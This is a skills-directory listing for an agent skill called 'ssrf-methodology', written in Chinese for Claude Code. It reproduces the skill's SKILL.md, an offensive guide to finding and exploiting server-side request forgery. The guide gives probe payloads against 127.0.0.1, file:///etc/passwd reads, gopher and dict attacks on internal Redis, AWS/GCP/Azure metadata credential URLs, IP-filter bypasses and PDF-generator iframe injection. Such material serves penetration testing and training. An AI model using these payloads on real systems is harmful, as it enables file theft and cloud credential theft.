Skip to content
Back to skills

Ssrf Methodology

BSecurity

服务端请求伪造(SSRF)的检测与利用方法论。当目标有 URL 获取/预览/导入功能、PDF 生成、Webhook、远程图片加载、RSS 导入时使用。包含 IP 过滤绕过大全、协议利用(file/gopher/dict)、云元数据窃取、内网服务探测。即使参数名看起来无害(如 src、callback、next),只要涉及服务端发起请求的场景都应加载此 skill。

  • 2 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added October 17, 2026
securitypythongojavaphpnodeawsgcpazureapisecurity

Works with

  • api

Security analysis

B88/100
  • criticalAccesses sensitive system or user directories

Pro scans all 6 files and shows the line behind each finding

Scanned October 17, 2026

npx -y skills add NetVar1337/agent-skill-canon --skill ssrf-methodology --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Ssrf Methodology?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Ssrf Methodology
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/netvar1337-ssrf-methodology/badge)](https://www.skillsdirectory.com/skills/netvar1337-ssrf-methodology)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: ssrf-methodology
description: "服务端请求伪造(SSRF)的检测与利用方法论。当目标有 URL 获取/预览/导入功能、PDF 生成、Webhook、远程图片加载、RSS 导入时使用。包含 IP 过滤绕过大全、协议利用(file/gopher/dict)、云元数据窃取、内网服务探测。即使参数名看起来无害(如 src、callback、next),只要涉及服务端发起请求的场景都应加载此 skill。"
metadata:
  tags: "ssrf,server-side request forgery,internal-network,file-read,gopher,metadata,ip-bypass,cloud-metadata,webhook,gopherus"
  category: "exploit"
---

# SSRF 攻击方法论

## 深入参考

- IP 过滤绕过完整列表、云元数据路径、协议利用详细命令 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
- 云 SSRF 进阶(容器/Serverless 凭据/K8s 横向/绕过技术) → [references/cloud-ssrf.md](references/cloud-ssrf.md)
- Gopher 协议 payload 生成与实战组合链 → [references/gopherus-payloads.md](references/gopherus-payloads.md)

---

## Phase 1: 发现 SSRF 入口

**参数名线索**(高度可疑):
`url`, `uri`, `path`, `src`, `dest`, `redirect`, `callback`, `next`, `data`, `reference`, `site`, `html`, `imageUrl`, `feed`, `target`, `proxy`, `link`

**功能线索**:URL 预览、PDF/图片生成(wkhtmltopdf, puppeteer)、Webhook、远程图片获取、RSS 导入

## Phase 2: 基础 SSRF 验证

```
url=http://127.0.0.1/
url=http://localhost/
url=http://127.0.0.1:PORT/
```

响应差异判断:内容变化 → 有回显 SSRF | 只有状态码 → 半盲 | 无差异 → 全盲

**陷阱**:应用可能过滤 `127.0.0.1` 但放行变体 → 需要绕过([references/ssrf-bypass.md](references/ssrf-bypass.md))

## Phase 3: 协议利用速查

```
url=file:///etc/passwd       # 文件读取(最高价值)
url=file:///flag.txt
url=gopher://127.0.0.1:6379/ # 攻击内部 Redis(⚠️ PHP curl 可用, Python requests 不可用)
url=dict://127.0.0.1:6379/info
```

## Phase 4: 云元数据速查

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # AWS
http://metadata.google.internal/computeMetadata/v1/                 # GCP (需 Header)
http://169.254.169.254/metadata/instance?api-version=2021-02-01     # Azure (需 Header)
```

## Phase 5: 利用决策树

```
SSRF 入口确认
├─ 有回显? → 直接读内容/探测端口
│  ├─ file:// 可用? → 读取敏感文件(/etc/passwd, /flag.txt, /app/config.py)
│  ├─ 云环境? → 查询元数据获取凭据 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
│  └─ 内网服务? → 探测 Redis/ES/MongoDB → gopher 利用
├─ 半盲/全盲?
│  ├─ 端口扫描 → 状态码/响应时间差异
│  └─ 外带 → DNS 外带 / 延时差异
├─ IP 过滤? → 编码绕过 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
└─ 协议限制? → 检查 HTTP-only vs 全协议
```

## 协议与库限制

不同实现支持的协议不同,不是所有 SSRF 都支持所有协议:

| 库/环境 | file:// | gopher:// | dict:// |
|---------|---------|-----------|---------|
| PHP curl | ✅ | ✅ | ✅ |
| Python requests | ❌ | ❌ | ❌ |
| Python urllib | ✅ | ❌ | ❌ |
| Java URLConnection | ✅ | ❌ | ❌ |
| Node.js fetch | ❌ | ❌ | ❌ |

**IP 短格式绕过**:`127.1`、`127.0.1`(省略 0)

## 注意事项

- **file:// 是最高价值协议**:直接读取服务器文件
- **Gopher 陷阱**:PHP curl 支持 gopher,Python requests 不支持
- **SSRF 和 XXE 经常组合**:XXE 中的 SYSTEM 就是 SSRF
- **PDF 生成器 SSRF**:wkhtmltopdf/puppeteer 生成 PDF 时会加载外部资源,注入 `<iframe src="file:///etc/passwd">` 或 `<img src="http://127.0.0.1/">`

Files in this skill

  • SKILL.md3.7 KB
  • evals/evals.json1.4 KB
  • evals/recall.json1.2 KB
  • references/cloud-ssrf.md4.2 KB
  • references/gopherus-payloads.md5 KB
  • references/ssrf-bypass.md3.1 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.